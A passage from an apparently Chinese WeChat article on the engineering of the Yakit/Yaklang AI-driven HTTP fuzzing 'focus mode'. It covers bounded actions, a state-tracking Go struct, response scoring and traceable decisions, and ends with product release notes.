auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">1.操作清单：明确能力边界</span></strong></span></p></div></div></div></div></div><p data-pm-slice="0 0 []" style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">代码中定义的 14 个标准操作，代表了 AI 在整个测试周期中的全部行为边界。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">这个清单的精髓不在于操作的多寡，而在于“边界的绝对明确”。AI 被剥夺了任意发散和创意组合的权力，必须在给定的规则内执行具体的工程动作。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, \&#34;system-ui\&#34;, \&#34;Helvetica Neue\&#34;, \&#34;PingFang SC\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: #ffffff;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;padding: 3px;outline: 0px;display: inline-block;width: 68%;vertical-align: top;align-self: flex-start;flex: 0 0 68%;min-width: 5%;height: auto;background-color: #ff8124;&#34;,&#34;data-width&#34;:&#34;68%&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: #ffffff;align-self: center;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;text-align: justify;color: #1b1b1b;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;font-size: 14px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">2.完备的状态记录：对高保真要求数据进行代码维护</span></strong></span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">为了防止 AI 在多轮测试中丢失上下文，系统在底层维护了一个结构化的状态账本。在 AI 执行每一步决策前，系统都会将这个完备的上下文信息同步给它：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="go"><code><span leaf=""><span class="code-snippet__keyword">type</span> loopHTTPFuzzSessionContext <span class="code-snippet__keyword">struct</span> {</span></code><br/><code><span leaf="">    OriginalRequest         <span class="code-snippet__type">string</span>   <span class="code-snippet__comment">// 原始请求（作为所有比对的基准）</span></span></code><br/><code><span leaf="">    CurrentRequest          <span class="code-snippet__type">string</span>   <span class="code-snippet__comment">// 当前正在测试的请求</span></span></code><br/><code><span leaf="">    PreviousRequest         <span class="code-snippet__type">string</span>   <span class="code-snippet__comment">// 上一个请求（用于前后对比）</span></span></code><br/><code><span leaf="">    RequestChangeSummary    <span class="code-snippet__type">string</span>   <span class="code-snippet__comment">// 请求改动摘要</span></span></code><br/><code><span leaf="">    RecentActions           []loopHTTPFuzzActionRecord  <span class="code-snippet__comment">// 最近 12 次的操作记录历史</span></span></code><br/><code><span leaf="">    TestedPayloadsByAction  <span class="code-snippet__keyword">map</span>[<span class="code-snippet__type">string</span>][]<span class="code-snippet__type">string</span>         <span class="code-snippet__comment">// 按操作类型记录已测试过的载荷，防止重复</span></span></code><br/><code><span leaf="">    LastActionType          <span class="code-snippet__type">string</span>   <span class="code-snippet__comment">// 上次操作类型</span></span></code><br/><code><span leaf="">}</span></code><br/></pre></p><ul style="margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li style="color:#fd8009;"><p style="margin-bottom: 8px;line-height: 1.6em;text-align: left;"><strong><span style="font-size: 15px;" mpa-font-style="mpnnrolrnzy"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">基准永恒</span></span></span></strong><span mpa-font-style="mpnnrolr1g8o" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><code><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">OriginalRequest</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);"> 作为初始参照物，永远不会被篡改。</span></span></span></p></li><li style="color:#fd8009;"><p style="margin-bottom: 8px;line-height: 1.6em;text-align: left;"><span mpa-font-style="mpnnrolr1jy8" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">规避重复</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><code><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">TestedPayloadsByAction</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);"> 记录了已测试过的路径，避免 AI 在同一个坑里反复试探。</span></span></span></p></li></ul><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span style="font-size: 15px;" mpa-font-style="mpnnrolr1d87"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">通过这种方式，AI 不需要依赖自身不稳定的记忆去猜过去发生了什么，而是直接基于代码保存的客观事实进行下一步推导。</span></span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><span leaf="" mpa-font-style="mpqfwca4snu" style="letter-spacing: 0.544px;" data-mpa-action-id="mpqfwcadmpz">3.</span><span leaf="" mpa-font-style="mpqfwca4snu" style="letter-spacing: 1px;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-mpa-action-id="mpqfwcadmpz">测试结果的数据化处理：通过代码维护幂等</span></span></strong></span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span style="font-size: 15px;" mpa-font-style="mpnnrolr1d87"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">在短时间内产生大量测试响应时，安全专家通常能依靠经验和直觉快速过滤出高价值的异常。而在 Yaklang 的系统中，这套直觉被彻底</span></span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">代码化</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">和</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">定量化</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">了。</span></span></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-mpa-action-id="mpqpg4og14as" data-pm-slice="0 0 []"><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100046176" data-ratio="2.717458907152377" data-s="300,640" type="block" data-type="png" data-w="2251" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=d934566f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72FbGicZsOMWJEBmMGicxFljjQ8hD7gicwic3p6M3NWJpKRL0HibKyjrf54uAibXRibeOEHyJG9ofSpiapq3EiaBXCvUH1Buw8xRmic98Y6DE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-mpa-action-id="mpqpgb0aggl" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="2.0706352732119058" data-s="300,640" data-type="png" data-w="2251" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046177" src="https://wechat2rss.xlab.app/img-proxy/?k=a666a270&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72EuIpkBUcMHoODILoz11mia3cJJZBic2ZBKibIWia0Polvm1Bibv9zMRh3Gm1KygRT1CTcsY33etyKSkUibujg7MkIE2tGlUIzrcoSaA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-pm-slice="0 0 []" style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">系统引入了一个</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">多维度评分系统</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">，</span><span textstyle="" style="letter-spacing: 1px;">自动对每一个返回的响应进行分类与评估：</span></span></p><p data-pm-slice="0 0 []" style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046168" data-ratio="0.39950372208436724" data-s="300,640" type="block" data-type="png" data-w="1209" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=df725cf7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72FHU3cnuGSSYZtFCialGVQEficSL2pe6icoKEibibZAM10qTicx3Z5OI30eF1q99aTAYaf2UUib4Tcz2LJG2bKNFhx3j7YDpYoRxfwtdo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/></span></p><p data-pm-slice="0 0 []" style="margin: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">通过这个评分系统，AI 面对的不再是海量晦涩的原始文本，而是清晰的数据标签。AI 的测试逻辑也因此变得极为清爽：</span></span></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-mpa-action-id="mpnnvas64ct" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046169" data-ratio="0.4536256323777403" data-s="300,640" type="block" data-type="png" data-w="1779" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=5a82b129&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72GVA4Cd6m0lp3x4gHFF1419J4pzYDhVgfTe9mAsZs1Df5jOjyR9A2ib49T0px9hjodIC1QgvAFkmN1vcdwXqmMZkiauGXvduCJlY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-pm-slice="0 0 []" style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">AI 的决策依据从“主观感觉”彻底变成了“数据驱动”，它只需观察评分结果，就能做出最优的下一步动作。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 12 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">4.全链路可观测性：白盒化，提供证据支撑</span></strong></span></p></div></div></div></div></div></div></div><p data-pm-slice="0 0 []" style="margin: 16px 8px 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">在大模型应用工程化落地时，系统维护者最常面对的挑战往往来自于用户的负面反馈：“AI 漏报了漏洞”或“AI 的测试结论不准确”。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">如果系统是一个“黑盒”，缺乏底层的关键数据支撑，我们将陷入无解的境地——你无法去溯源大模型当时为什么会得出这个结论。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">因此，“专注模式”强调全链路的可观测性，要求做到</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">显式化决策</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">与</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">流量留存</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">1.决策显式化（知其所以然）</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">：AI 在做出每一项 Action 决策时，必须同步输出它的思维链（Chain of Thought）与当前意图。例如：“检测到响应体积发生变化，下一步将执行 action_fuzz_body 以验证是否存在越权风险。”</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">2.流量铁证化（避免空中楼阁）</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span><span textstyle="" style="letter-spacing: 1px;">AI 汇报的任何一个安全风险，都不能只凭空给出一个结论。系统必须将这个结论相关的具体流量记录上。报告中的每一个漏洞，背后都必须能找到对应的、可重放的原始网络报文。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046170" data-ratio="0.43025210084033616" data-s="300,640" type="block" data-type="png" data-w="1785" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=df2440a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72G0WnhtbuuQJBpBvmtLAEaV3JIl7cySsIibn5EGuB7xgBkFKZGR46XZdBSibnfELJe2N5ib0NcFsqpUB0fAHfRE4L1XA85t8fDZw0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/></span></p><p data-pm-slice="0 0 []" style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">这些数据留存不仅是为了“记录”，更具备明确的工程变现价值。通过批量分析测试会话的数据，如果发现 AI 在某一类动作上的成功率偏低，开发者就能精准地得出方向，进而优化提示词或策略，实现</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">基于数据的系统迭代</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><span leaf=""><span textstyle="" style="font-weight: bold;">结语</span></span></p></div></div></div><p data-pm-slice="0 0 []" style="margin: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">追求更先进、参数量更大的大模型，是提升工程应用的表现不可或缺的一环。但是，在严肃的工业级落地场景中，</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">框架的约束与机制的建立，也同样是决定一个系统能否真正投入使用的核心关键。</span></span></strong></p><p style="margin: 0px 8px 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">“专注模式”的核心思想其实极其质朴：给 AI 明确的操作、完整的状态、量化的评分、可追踪的过程。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">让 </span></span></strong><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">AI</span></span></strong><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);"> 在固定的铁轨里做出高效的离散选择，而不是放任它在无限的荒野里随心所欲。</span></span></strong></p><p style="margin-bottom: 0px;outline: 0px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: center;" data-pm-slice="3 5 []"><strong data-brushtype="text" style="outline: 0px;color: rgb(255, 255, 255);font-family: mp-quote, -apple-system-font, Arial, sans-serif;font-size: 20px;letter-spacing: 0.578px;background-color: rgb(247, 150, 70);"><span leaf="">END</span></strong></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><div style="outline: 0px;"><div powered-by="xiumi.us" style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;"><div powered-by="xiumi.us" style="outline: 0px;text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding-right: 11px;padding-left: 11px;outline: 0px;display: inline-block;width: auto;vertical-align: top;border-style: solid;border-width: 0px 1px;border-color: rgb(62, 62, 62) rgb(255, 129, 36);min-width: 10%;flex: 0 0 auto;height: auto;align-self: flex-start;"><div powered-by="xiumi.us" style="outline: 0px;color: rgb(255, 255, 255);"><p style="outline: 0px;"><span style="outline: 0px;background-color: rgb(255, 129, 36);"><strong style="outline: 0px;"><span style="outline: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">更新记录 </span></span></strong></span></p></div></div></div><div powered-by="xiumi.us" style="margin-bottom: 10px;outline: 0px;"><div style="outline: 0px;font-size: 14px;text-align: justify;"><p><span leaf="">Yakit v1.4.7-0529</span></p><p><span leaf="">1. Webfuzzer增加不修复响应</span></p><p><span leaf="">2. History和数据包右键增加复制URL可选择是否复制参数</span></p><p><span leaf="">3. AI侧边栏增加使用模式配置</span></p><p><span leaf="">4. 语言切换增加繁体</span></p><p><span leaf="">5. History勾选流量后会带入AI会话框，可针对流量进行分析处理</span></p><p><span leaf="">6. MITM交互插件启用优化，仅初次使用自动弹窗填写参数</span></p><p><span leaf="">7. 匹配器暗色模式问题修复</span></p><p><span leaf="">8. 修复引擎连接日志乱码的问题</span></p><p><span leaf="">9. 修复漏洞通知查看详情页面点击“确认”无法关闭的问题</span></p><p><span leaf="">Memfit AI v1.0.1-0529</span></p><p><span leaf="">1. 会话框模型列表可切换模型</span></p><p><span leaf="">2. 修复在漏洞列表查看详情时，AI刷新数据导致详情关闭的问题</span></p><p><span leaf="">3. 会话增加Plan提示词配置</span></p><p><span leaf="">4. 会话框支持右键只粘贴文本</span></p><p><span leaf="">IRify v1.2.3-0529</span></p><p><span leaf="">1. 上线AI 代码审计功能</span></p><p><span leaf="">Yaklang 1.4.7-beta7</span></p><p><span leaf="">1. 新增 AI 流式处理能力，支持实时响应</span></p><p><span leaf=""> 2. AI 插件调用支持使用插件名称或 ID</span></p><p><span leaf=""> 3. 新增 Web 指纹识别 AI 工具</span></p><p><span leaf=""> 4. 支持全局 AI 计划提示词配置</span></p><p><span leaf=""> 5. AI 功能配置支持热重载</span></p><p><span leaf=""> 6. AI 分析 HTTP 流量时支持附件携带和时间线处理，提升分析上下文能力</span></p><p><span leaf=""> 7. SSA2LLVM 编译器大量稳定性修复，解决栈溢出和链接问题</span></p><p><span leaf=""> 8. HTTP 历史记录支持持久化原始响应数据</span></p><p><span leaf=""> 9. URL 提取接口新增去除查询参数选项</span></p><p><span leaf="">10. 优化 SQLite 大数据库参数配置</span></p><p><span leaf="">11. 改进 AI Balance 存储机制</span></p><p><span leaf="">12. Syntaxflow规则搜索修复 RuleNames 过滤避免 SQLite 深度限制</span></p><p><span leaf="">13. Linux 构建切换至 manylinux2014，兼容 glibc 2.17及以上版本的linux设备</span></p></div></div></div></div></div></div><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><div style="outline: 0px;"><div powered-by="xiumi.us" style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: 